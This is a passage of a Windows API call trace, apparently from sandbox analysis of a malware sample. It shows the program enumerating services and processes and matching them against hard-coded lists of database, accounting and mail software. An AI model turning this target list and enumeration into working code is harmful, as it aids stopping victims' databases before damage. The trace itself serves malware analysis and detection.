RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4e61a0 [0031.881] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x18) returned 0x4e61c0 [0031.881] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500120, Size=0x20) returned 0x4e5b60 [0031.881] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x24) returned 0x4fc3b8 [0031.881] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0031.881] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x501080 | out: hHeap=0x4b0000) returned 1 [0031.881] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0031.881] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x501188 | out: hHeap=0x4b0000) returned 1 [0031.881] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4e5c00 [0031.881] EnumServicesStatusExW (in: hSCManager=0x4e5c00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0031.882] GetLastError () returned 0xea [0031.882] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x11e4) returned 0x51e498 [0031.882] EnumServicesStatusExW (in: hSCManager=0x4e5c00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x51e498, cbBufSize=0x11e4, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x51e498, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0031.882] CloseServiceHandle (hSCObject=0x4e5c00) returned 1 [0031.883] lstrlenW (lpString="Appinfo") returned 7 [0031.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0031.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0031.883] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0031.883] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0031.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0031.883] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0031.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0031.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0031.883] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0031.883] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0031.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0031.883] lstrlenW (lpString="AudioSrv") returned 8 [0031.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0031.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0031.883] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0031.883] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0031.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0031.883] lstrlenW (lpString="BFE") returned 3 [0031.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0031.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0031.883] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0031.883] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0031.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0031.883] lstrlenW (lpString="CryptSvc") returned 8 [0031.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0031.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0031.883] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0031.883] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0031.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0031.883] lstrlenW (lpString="CscService") returned 10 [0031.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0031.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0031.884] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0031.884] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0031.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0031.884] lstrlenW (lpString="DcomLaunch") returned 10 [0031.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0031.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0031.884] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0031.884] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0031.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0031.884] lstrlenW (lpString="Dhcp") returned 4 [0031.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0031.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0031.884] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0031.884] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0031.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0031.884] lstrlenW (lpString="Dnscache") returned 8 [0031.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0031.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0031.884] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0031.884] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0031.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0031.884] lstrlenW (lpString="DPS") returned 3 [0031.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0031.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0031.884] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0031.884] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0031.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0031.884] lstrlenW (lpString="eventlog") returned 8 [0031.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0031.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0031.884] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0031.884] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0031.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0031.885] lstrlenW (lpString="EventSystem") returned 11 [0031.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0031.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0031.885] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0031.885] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0031.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0031.885] lstrlenW (lpString="gpsvc") returned 5 [0031.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0031.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0031.885] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0031.885] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0031.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0031.885] lstrlenW (lpString="iphlpsvc") returned 8 [0031.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0031.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0031.885] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0031.885] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0031.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0031.885] lstrlenW (lpString="LanmanServer") returned 12 [0031.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0031.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0031.885] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0031.885] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0031.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0031.885] lstrlenW (lpString="LanmanWorkstation") returned 17 [0031.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0031.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0031.885] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0031.885] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0031.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0031.885] lstrlenW (lpString="lmhosts") returned 7 [0031.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0031.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0031.886] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0031.886] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0031.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0031.886] lstrlenW (lpString="MMCSS") returned 5 [0031.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0031.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0031.886] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0031.886] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0031.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0031.886] lstrlenW (lpString="MpsSvc") returned 6 [0031.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0031.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0031.886] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0031.887] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0031.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0031.887] lstrlenW (lpString="Netman") returned 6 [0031.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0031.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0031.887] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0031.887] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0031.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0031.887] lstrlenW (lpString="netprofm") returned 8 [0031.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0031.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0031.887] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0031.887] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0031.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0031.887] lstrlenW (lpString="NlaSvc") returned 6 [0031.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0031.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0031.887] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0031.887] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0031.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0031.887] lstrlenW (lpString="nsi") returned 3 [0031.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0031.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0031.887] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0031.887] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0031.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0031.887] lstrlenW (lpString="PcaSvc") returned 6 [0031.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0031.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0031.887] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0031.887] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0031.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0031.887] lstrlenW (lpString="PlugPlay") returned 8 [0031.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0031.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0031.888] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0031.888] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0031.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0031.888] lstrlenW (lpString="Power") returned 5 [0031.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0031.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0031.888] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0031.888] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0031.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0031.888] lstrlenW (lpString="ProfSvc") returned 7 [0031.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0031.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0031.888] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0031.888] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0031.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0031.888] lstrlenW (lpString="RpcEptMapper") returned 12 [0031.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0031.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0031.888] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0031.888] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0031.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0031.888] lstrlenW (lpString="RpcSs") returned 5 [0031.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0031.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0031.888] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0031.888] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0031.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0031.888] lstrlenW (lpString="SamSs") returned 5 [0031.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0031.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0031.888] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0031.888] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0031.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0031.889] lstrlenW (lpString="Schedule") returned 8 [0031.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0031.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0031.889] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0031.889] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0031.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0031.889] lstrlenW (lpString="SENS") returned 4 [0031.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0031.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0031.889] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0031.889] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0031.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0031.889] lstrlenW (lpString="ShellHWDetection") returned 16 [0031.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0031.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0031.889] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0031.889] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0031.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0031.889] lstrlenW (lpString="Spooler") returned 7 [0031.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0031.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0031.889] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0031.889] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0031.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0031.889] lstrlenW (lpString="SysMain") returned 7 [0031.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0031.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0031.889] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0031.889] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0031.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0031.889] lstrlenW (lpString="Themes") returned 6 [0031.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0031.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0031.890] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0031.890] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0031.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0031.890] lstrlenW (lpString="TrkWks") returned 6 [0031.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0031.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0031.890] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0031.890] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0031.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0031.890] lstrlenW (lpString="UxSms") returned 5 [0031.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0031.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0031.890] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0031.890] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0031.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0031.890] lstrlenW (lpString="WdiServiceHost") returned 14 [0031.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0031.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0031.890] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0031.890] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0031.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0031.890] lstrlenW (lpString="WdiSystemHost") returned 13 [0031.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0031.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0031.890] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0031.890] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0031.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0031.890] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0031.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0031.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0031.890] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0031.890] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0031.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0031.891] lstrlenW (lpString="Winmgmt") returned 7 [0031.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0031.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0031.891] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0031.891] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0031.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0031.891] lstrlenW (lpString="WPDBusEnum") returned 10 [0031.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0031.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0031.891] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0031.891] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0031.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0031.891] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51e498 | out: hHeap=0x4b0000) returned 1 [0031.891] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0031.893] Process32FirstW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0031.894] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0031.894] lstrlenW (lpString="System") returned 6 [0031.894] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0031.894] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0031.894] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0031.894] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0031.894] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0031.895] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0031.895] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0031.895] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0031.895] lstrlenW (lpString="smss.exe") returned 8 [0031.895] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0031.895] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0031.895] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0031.895] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0031.895] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0031.895] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0031.895] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0031.895] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0031.896] lstrlenW (lpString="csrss.exe") returned 9 [0031.896] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0031.896] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0031.896] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0031.896] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0031.896] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0031.896] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0031.896] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0031.896] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0031.897] lstrlenW (lpString="wininit.exe") returned 11 [0031.897] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0031.897] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0031.897] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0031.897] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0031.897] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0031.897] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0031.897] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0031.897] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, 